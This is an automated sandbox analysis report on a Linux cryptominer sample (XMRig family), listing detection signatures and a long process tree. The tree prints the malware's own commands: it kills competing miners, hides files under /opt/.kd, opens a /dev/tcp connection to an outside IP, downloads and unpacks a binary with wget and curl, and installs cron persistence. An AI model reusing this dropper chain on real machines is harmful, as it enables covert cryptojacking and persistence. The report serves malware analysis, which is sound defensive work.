Analysis
- max time kernel
149s - max time network
138s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20261019-en - resource tags
- submitted
25/10/2026, 04:29
General
- Target 4f8f58d34b17ea14939e98a906f9887c337880ba8c62ddd51938a85ac2c88966
- Size 26KB
- Sample261025-e4nf8afw6m
- SHA256 4f8f58d34b17ea14939e98a906f9887c337880ba8c62ddd51938a85ac2c88966
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 3 IoCs
- Loads a kernel module 1 IoCs
Loads a Linux kernel module, potentially to achieve persistence
- Checks hardware identifiers (DMI) 1 TTPs 8 IoCs
Checks DMI information which indicate if the system is a virtual machine.
- Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads hardware information 1 TTPs 28 IoCs
Accesses system info like serial numbers, manufacturer names etc.
- Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads CPU attributes 1 TTPs 64 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 47 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/4f8f58d34b17ea14939e98a906f9887c337880ba8c62ddd51938a85ac2c88966/tmp/4f8f58d34b17ea14939e98a906f9887c337880ba8c62ddd51938a85ac2c889661⤵
- Executes dropped EXE
-
/bin/mkdirmkdir -p /var/run/postgresql/.kd2⤵
-
-
/bin/chmodchmod 755 /var/run/postgresql/.kd/.te2⤵
- File and Directory Permissions Modification
-
-
/var/run/postgresql/.kd/.te/var/run/postgresql/.kd/.te2⤵
-
-
/bin/rmrm -f /var/run/postgresql/.kd/.te2⤵
-
-
/bin/mkdirmkdir -p /opt/.kd2⤵
-
-
/bin/chmodchmod 755 /opt/.kd/.te2⤵
- File and Directory Permissions Modification
-
-
/opt/.kd/.te/opt/.kd/.te2⤵
-
-
/bin/rmrm -f /opt/.kd/.te2⤵
-
-
/bin/mkdirmkdir -p /opt/.kd2⤵
-
-
/bin/grepgrep -E "^[0-9]+\$"2⤵
-
-
/bin/lsls /proc2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/10/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1000/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1008/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1012/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1016/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1020/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1025/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1030/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1034/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1035/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1038/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1041/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1043/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1052/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1053/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1055/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1056/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1062/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1069/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1072/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1074/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1077/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1078/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1081/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1083/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/11/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1110/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1131/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1149/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/115/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1150/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1163/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1186/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/12/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1229/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1235/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1269/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1291/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1293/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1298/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/13/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1312/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1317/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1335/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1369/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/137/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/14/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/1485/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/15/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1510/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1513/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1514/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1515/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1519/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1529/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1530/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1531/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/155/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/156/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/157/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/158/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/159/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/16/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/160/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/161/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/162/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/163/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/164/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/165/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/166/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/167/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/168/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/169/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/17/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/170/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/171/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/172/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/174/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/18/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/19/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/199/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/20/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/200/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/21/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/22/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/23/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/24/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/25/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/255/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/26/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/266/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/27/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/28/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/29/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/3/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/30/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/31/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/32/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/34/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/346/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/348/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/35/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/36/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/4/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/418/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/446/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/447/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/457/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/458/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/460/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/465/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/467/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/469/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/470/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/471/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/472/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/480/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/481/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/482/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/5/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/509/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/510/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/522/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/528/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/549/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/566/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/587/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/588/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/6/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/617/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/625/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/631/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/644/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/645/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/647/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/684/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/7/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/701/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/708/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/78/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/79/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/8/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/80/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/81/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/82/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/83/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/84/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/86/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/887/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/889/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/89/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/894/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/897/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/9/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/911/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/916/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/930/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/936/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/949/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/953/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/955/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/959/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/965/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/972/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/976/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/98/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/985/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/999/exe2⤵
-
-
/usr/bin/pkillpkill -9 -x kdevtmpfsi2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -x kinsing2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -x pg_mem2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -x postgres-kernel2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -x zsvc2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -x pdefenderd2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -x updatecheckerd2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/rmrm -f /tmp/kdevtmpfsi /var/tmp/kdevtmpfsi /tmp/kinsing /var/tmp/kinsing /tmp/pg_mem /var/tmp/pg_mem /tmp/postgres-kernel /var/tmp/postgres-kernel2⤵
-
-
/bin/grepgrep -icE "kdevtmpfsi|kinsing|pg_mem|postgres-kernel|zsvc|pdefenderd|updatecheckerd"2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/usr/bin/nprocnproc2⤵
-
-
/usr/bin/trtr -cd a-zA-Z0-92⤵
-
-
/usr/bin/headhead -c 82⤵
-
-
/bin/hostnamehostname2⤵
-
-
/usr/bin/headhead -c 42⤵
-
-
/bin/catcat /proc/sys/kernel/random/uuid2⤵
-
-
/bin/catcat /sys/fs/cgroup/memory.max2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/catcat /sys/fs/cgroup/memory/memory.limit_in_bytes2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/awkawk "/MemAvailable/{print int(\$2/1024)}" /proc/meminfo2⤵
-
-
/sbin/modprobemodprobe msr2⤵
- Loads a kernel module
- Enumerates kernel/hardware configuration
-
-
/usr/bin/timeouttimeout 4 bash -c "exec 3<>/dev/tcp/130.94.112.118/10001"2⤵
-
/usr/local/sbin/bashbash -c "exec 3<>/dev/tcp/130.94.112.118/10001"3⤵
-
-
/usr/local/bin/bashbash -c "exec 3<>/dev/tcp/130.94.112.118/10001"3⤵
-
-
/usr/sbin/bashbash -c "exec 3<>/dev/tcp/130.94.112.118/10001"3⤵
-
-
/usr/bin/bashbash -c "exec 3<>/dev/tcp/130.94.112.118/10001"3⤵
-
-
/sbin/bashbash -c "exec 3<>/dev/tcp/130.94.112.118/10001"3⤵
-
-
/bin/bashbash -c "exec 3<>/dev/tcp/130.94.112.118/10001"3⤵
-
-
-
/usr/bin/curlcurl -sk --max-time 6 -o /dev/null https://89.125.187.222:5432/admin/getClientStatusList2⤵
- Writes file to tmp directory
-
-
/bin/catcat2⤵
-
-
/bin/grepgrep -o "\"worker-id\":\"[^\"]*\"\\|\"url\":\"[^\"]*\"\\|\"max-threads-hint\":[0-9]*" pg_settings.bak2⤵
-
-
/usr/bin/trtr "\\n" "|"2⤵
-
-
/bin/mvmv pg_settings.bak.tmp pg_settings.bak2⤵
-
-
/bin/cpcp -f /opt/.kd/pg_settings.bak /opt/.kd/pg_settings.conf2⤵
-
-
/bin/chmodchmod 600 /opt/.kd/pg_settings.conf2⤵
-
-
/usr/bin/trtr "\\n" "|"2⤵
-
-
/bin/grepgrep -o "\"worker-id\":\"[^\"]*\"\\|\"url\":\"[^\"]*\"\\|\"max-threads-hint\":[0-9]*" pg_settings.bak2⤵
-
-
/bin/catcat2⤵
-
-
/bin/catcat2⤵
-
-
/bin/sedsed -i "s|__D__|/opt/.kd|g" /opt/.kd/wd.sh /opt/.kd/wd2.sh2⤵
-
-
/bin/chmodchmod 755 /opt/.kd/wd.sh /opt/.kd/wd2.sh2⤵
- File and Directory Permissions Modification
-
-
/bin/catcat2⤵
-
-
/bin/sedsed -i "s|__D__|/opt/.kd|g" /opt/.kd/wd3.sh2⤵
-
-
/bin/chmodchmod 755 /opt/.kd/wd3.sh2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -viE "zzcc|catbox|217\\.217\\.233|wpzk6z|j7uu3v|0nh6sx|ev4g3l|fetch_run|run\\.sh|gitlab|metrics-agents|static-assets"2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/bin/catcat2⤵
-
-
/bin/chmodchmod 755 /opt/.kd/sd.sh2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/cutcut "-d " -f12⤵
-
-
/bin/hostnamehostname2⤵
-
-
/usr/bin/cksumcksum2⤵
-
-
/usr/bin/trtr "\\n" " "2⤵
-
-
/usr/bin/headhead -32⤵
-
-
/usr/bin/awkawk -v "h=4017155388" "NR % 16 == h % 16"2⤵
-
-
/usr/bin/trtr " " "\\n"2⤵
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -v sysmon-sd2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/bin/unameuname -m2⤵
-
-
/bin/busyboxbusybox wget -q -T 90 -O /opt/.kd/.v.json.1519 http://130.94.112.118:18899/bin/versions.json2⤵
-
-
/usr/bin/wgetwget -q -T 90 -O /opt/.kd/.v.json.1519 http://130.94.112.118:18899/bin/versions.json2⤵
-
-
/usr/bin/curlcurl -s -m 150 -o /opt/.kd/.v.json.1519 http://130.94.112.118:18899/bin/versions.json2⤵
- Writes file to tmp directory
-
-
/bin/mvmv /opt/.kd/.v.json.1519 /opt/.kd/.v.json2⤵
-
-
/usr/bin/trtr -d " \\n\\t"2⤵
-
-
/bin/catcat /opt/.kd/.v.json2⤵
-
-
/usr/bin/awkawk "{print \$1}"2⤵
-
-
/usr/bin/wcwc -c /opt/.kd/ccd2⤵
-
-
/bin/busyboxbusybox wget -q -T 90 -O /opt/.kd/ccd.gz.1519 http://130.94.112.118:18899/bin/agentd-linux-x64.gz2⤵
-
-
/usr/bin/wgetwget -q -T 90 -O /opt/.kd/ccd.gz.1519 http://130.94.112.118:18899/bin/agentd-linux-x64.gz2⤵
-
-
/bin/mvmv /opt/.kd/ccd.gz.1519 /opt/.kd/ccd.gz2⤵
-
-
/usr/bin/headhead -12⤵
-
-
/bin/sedsed -n "s/.*\"agentd-linux-x64.gz\":{\"md5\":\"\\([a-f0-9][a-f0-9]*\\)\".*/\\1/p"2⤵
-
-
/usr/bin/cutcut "-d " -f12⤵
-
-
/usr/bin/md5summd5sum /opt/.kd/ccd.gz2⤵
-
-
/bin/busyboxbusybox gzip -t /opt/.kd/ccd.gz2⤵
- System Network Configuration Discovery
-
-
/bin/busyboxbusybox gzip -dc /opt/.kd/ccd.gz2⤵
-
-
/bin/chmodchmod 755 /opt/.kd/ccd2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/awkawk "{print \$1}"2⤵
- Reads runtime system information
-
-
/usr/bin/wcwc -c /opt/.kd/ccd2⤵
-
-
/bin/rmrm -f /opt/.kd/ccd.gz2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/usr/bin/awkawk "{print \$1}"2⤵
-
-
/usr/bin/wcwc -c /opt/.kd/pg_wal2⤵
-
-
